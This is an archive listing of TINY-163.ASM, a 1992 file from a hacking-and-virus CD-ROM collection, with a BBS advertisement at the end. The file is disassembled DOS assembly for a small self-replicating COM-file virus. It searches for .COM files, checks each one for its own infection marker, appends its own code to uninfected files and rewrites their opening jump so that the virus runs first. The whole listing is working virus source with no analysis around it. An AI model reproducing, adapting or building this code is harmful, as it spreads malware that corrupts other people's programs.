home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-163.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  3KB  |  127 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    S                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Aug-90                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    9           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_2e        equ    1ABh            ; (946E:01AB=0)
  16.   
  17. seg_a        segment    byte public
  18.         assume    cs:seg_a, ds:seg_a
  19.   
  20.   
  21.         org    100h
  22.   
  23. s        proc    far
  24.   
  25. start:
  26.         jmp    loc_1            ; (0108)
  27.         db    0CDh, 20h, 7, 8, 9
  28. loc_1:
  29.         call    sub_1            ; (010B)
  30.   
  31. s        endp
  32.   
  33. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  34. ;                   SUBROUTINE
  35. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  36.   
  37. sub_1        proc    near
  38.         pop    si
  39.         sub    si,10Bh
  40.         mov    bp,data_1[si]        ; (946E:01A0=0)
  41.         add    bp,103h
  42.         lea    dx,[si+1A2h]        ; Load effective addr
  43.         xor    cx,cx            ; Zero register
  44.         mov    ah,4Eh            ; 'N'
  45. loc_2:
  46.         int    21h            ; DOS Services  ah=function 4Eh
  47.                         ;  find 1st filenam match @ds:dx
  48.         jc    loc_6            ; Jump if carry Set
  49.         mov    dx,9Eh
  50.         mov    ax,3D02h
  51.         int    21h            ; DOS Services  ah=function 3Dh
  52.                         ;  open file, al=mode,name@ds:dx
  53.         mov    bx,ax
  54.         mov    ah,3Fh            ; '?'
  55.         lea    dx,[si+1A8h]        ; Load effective addr
  56.         mov    di,dx
  57.         mov    cx,3
  58.         int    21h            ; DOS Services  ah=function 3Fh
  59.                         ;  read file, cx=bytes, to ds:dx
  60.         cmp    byte ptr [di],0E9h
  61.         je    loc_4            ; Jump if equal
  62. loc_3:
  63.         mov    ah,4Fh            ; 'O'
  64.         jmp    short loc_2        ; (0120)
  65. loc_4:
  66.         mov    dx,[di+1]
  67.         mov    data_1[si],dx        ; (946E:01A0=0)
  68.         xor    cx,cx            ; Zero register
  69.         mov    ax,4200h
  70.         int    21h            ; DOS Services  ah=function 42h
  71.                         ;  move file ptr, cx,dx=offset
  72.         mov    dx,di
  73.         mov    cx,2
  74.         mov    ah,3Fh            ; '?'
  75.         int    21h            ; DOS Services  ah=function 3Fh
  76.                         ;  read file, cx=bytes, to ds:dx
  77.         cmp    word ptr [di],807h
  78.         je    loc_3            ; Jump if equal
  79.         xor    dx,dx            ; Zero register
  80.         xor    cx,cx            ; Zero register
  81.         mov    ax,4202h
  82.         int    21h            ; DOS Services  ah=function 42h
  83.                         ;  move file ptr, cx,dx=offset
  84.         cmp    dx,0
  85.         jne    loc_3            ; Jump if not equal
  86.         cmp    ah,0FEh
  87.         jae    loc_3            ; Jump if above or =
  88.         mov    ds:data_2e[si],ax    ; (946E:01AB=0)
  89.         mov    ah,40h            ; '@'
  90.         lea    dx,[si+105h]        ; Load effective addr
  91.         mov    cx,0A3h
  92.         int    21h            ; DOS Services  ah=function 40h
  93.                         ;  write file cx=bytes, to ds:dx
  94.         jc    loc_5            ; Jump if carry Set
  95.         mov    ax,4200h
  96.         xor    cx,cx            ; Zero register
  97.         mov    dx,1
  98.         int    21h            ; DOS Services  ah=function 42h
  99.                         ;  move file ptr, cx,dx=offset
  100.         mov    ah,40h            ; '@'
  101.         lea    dx,[si+1ABh]        ; Load effective addr
  102.         mov    cx,2
  103.         int    21h            ; DOS Services  ah=function 40h
  104.                         ;  write file cx=bytes, to ds:dx
  105. loc_5:
  106.         mov    ah,3Eh            ; '>'
  107.         int    21h            ; DOS Services  ah=function 3Eh
  108.                         ;  close file, bx=file handle
  109. loc_6:
  110.         jmp    bp            ;*Register jump
  111. data_1        dw    0            ; Data table (indexed access)
  112.         db    2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
  113. sub_1        endp
  114.   
  115.   
  116. seg_a        ends
  117.   
  118.   
  119.   
  120.         end    start
  121.  
  122. ; ─────────────────────────────────────────────────────────────────────────
  123. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  124. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  125. ; ─────────────────────────────────────────────────────────────────────────
  126.  
  127.